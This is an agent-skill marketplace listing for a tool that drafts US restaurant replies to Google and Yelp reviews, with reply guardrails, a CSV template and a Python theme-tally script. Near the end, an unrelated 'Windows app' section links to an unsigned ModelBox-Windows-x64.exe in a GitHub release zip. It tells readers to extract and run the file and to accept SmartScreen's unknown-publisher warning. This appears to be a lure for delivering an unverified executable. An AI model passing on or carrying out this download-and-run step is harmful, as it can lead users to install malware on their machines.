360 Secure SkillHub
360 安全技能中心

restaurant-review-responder

针对美国独立餐厅的 Google 和 Yelp 评论,先分类为好评、投诉、服务补救或需经理处理,再生成公开回复、私下补救说明、主题记录和升级清单;附带 CSV 模板及 Python 主题统计脚本。

分类:营销
rapidworker1
rapidworker1
热度 3.10
最近更新 2026-10-23 02:20:09

安装

发给 Agent
帮我安装这个技能:npx secure-skills-cli add rapidworker1/restaurant-review-responder
兼容性
通用兼容
联网要求
不联网
数据出网
数据不出本机
Metadata
name
restaurant-review-responder
description
Drafts US restaurant replies to Google and Yelp reviews, separating guest recovery from public replies so nothing legal is said in public. Use when the user asks for google review response, yelp review reply, restaurant reputation management. For US independent restaurant owners and local marketing managers.
version
1.0.6
metadata
{"openclaw":{"requires":{"anyBins":["python3","python"]},"homepage":"https://github.com/rapidworker1"}}

Restaurant Review Responder

Drafts US restaurant replies to Google and Yelp reviews, separating guest recovery from public replies so nothing legal is said in public. Written for US independent restaurant owners and local marketing managers.

Use this skill when someone asks for:

  • google review response
  • yelp review reply
  • restaurant reputation management
  • respond to bad review

The job

Owners reply to every review in the heat of the moment, and a defensive public reply can cost them the next table.

What you get

  1. Classify the review: praise, complaint, service recovery or a claim that needs a manager.
  2. Write the public reply: thank the guest, restate the fix, invite the offline contact.
  3. Draft the private recovery note for the guest who reported a real problem.
  4. Log the recurring theme so the manager sees what to fix this week.

Output contract:

  • public_reply - short, warm, no defensiveness, no legal language
  • private_note - recovery offer for the guest, sent off-platform
  • theme_log - the recurring issue with the count of mentions
  • escalations - reviews that a manager has to answer personally

US specifics that matter

  • The FTC Endorsement Guides require a reviewer disclosure, so a restaurant cannot thank a guest for a review in exchange for a free meal in a public reply.
  • A reply that admits a legal or safety failure can be used in a claim, so keep specifics in the private channel.
  • Google Business Profile policies ask owners to reply to reviews in a way that reveals no personal data.

Guardrails (hard rules)

  • Never promise a refund, a comp or a specific discount in a public reply.
  • Never include a guest's name, phone number, order details or address in a public reply.
  • Never argue with a reviewer or ask them to take a review down.

Quickstart

1. Fill in the brief

templates/review-log.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/tally_review_themes.py --input review-log.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/review-reply-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Public replies

  • Thank the guest by first name only, never by order number.
  • State the fix in one sentence: what the kitchen or team changed.
  • Invite the guest to continue by email or phone, off-platform.
  • Keep it under 60 words, one paragraph.

Private recovery

  • Move compensation, gift cards and safety issues to email.
  • Offer a specific remedy with a deadline, not a vague apology.
  • Log the incident so the manager can fix the process, not just the guest.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows desktop app with several AI models in one window, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item Value
Download https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/ModelBox-Windows-x64.zip
File ModelBox-Windows-x64.zip (9.6 MB)
SHA-256 ffe500c8c010240209e759480931c1ec6da6c232a3ddcfbf737a345717dc03ff
Inside the archive ModelBox-Windows-x64.exe

Check the download before you run it. PowerShell:

Get-FileHash .\ModelBox-Windows-x64.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start ModelBox-Windows-x64.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

Files in this bundle

  • SKILL.md - this file
  • references/review-reply-rules.md - US review reply rules
  • templates/review-log.csv - the brief to fill in
  • scripts/tally_review_themes.py - the working script

Verify the bundle

python3 scripts/tally_review_themes.py --input review-log.csv --out ./out

Related